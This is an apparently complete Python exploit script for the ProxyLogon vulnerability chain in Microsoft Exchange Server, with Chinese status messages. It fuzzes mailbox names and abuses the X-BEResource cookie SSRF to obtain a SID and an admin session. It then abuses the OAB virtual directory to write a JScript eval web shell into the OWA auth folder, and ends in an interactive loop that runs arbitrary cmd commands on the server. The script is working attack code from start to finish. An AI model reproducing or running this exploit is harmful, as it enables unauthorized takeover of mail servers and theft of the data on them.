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import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']
proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
final_shell = ""
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if __name__=="__main__":
parser = argparse.ArgumentParser(
description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名，可不填写-user参数，将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
help='target')
parser.add_argument('-user',
help='exist email', default='')
parser.add_argument('-suffix',
help='email suffix')
args = parser.parse_args()
target = args.u
suffix = args.suffix
if suffix == "":
print("请输入suffix")
exist_email = args.user
if exist_email:
fuzz_email.insert(0, exist_email)
random_name = id_generator(4) + ".js"
print("目标 Exchange Server: " + target)
for i in fuzz_email:
new_email = i+suffix
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % new_email
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False, proxies=proxies)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
print("got FQDN:" + FQDN)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1941962757;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
try:
legacyDn = str(ct.content).split("<LegacyDN>")[
1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + \
"\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[
1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1], "500")
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split(
"ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
verify=False,
proxies=proxies
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("写入shell失败")
exit()
shell_url = "https://"+target+"/owa/auth/test11.aspx"
print("成功写入shell：" + shell_url)
print("下面验证shell是否ok")
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
import time
time.sleep(1)
data = requests.post(shell_url, data={
"code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
if data.status_code != 200:
print("写入shell失败")
else:
print("shell:"+data.text.split("OAB (Default Web Site)")
[0].replace("Name : ", ""))
print('[+]用户名: '+ new_email)
final_shell = shell_url
break
except:
print('[-]用户名: '+new_email)
print("=============================")
if not final_shell:
sys.exit()
print("下面启用交互式shell")
while True:
input_cmd = input("[#] command: ")
data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
ct = requests.post(
final_shell,
data=data,verify=False, proxies=proxies)
if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
print("[*] Failed to execute shell command")
else:
shell_response = ct.text.split(
"Name :")[0]
print(shell_response)
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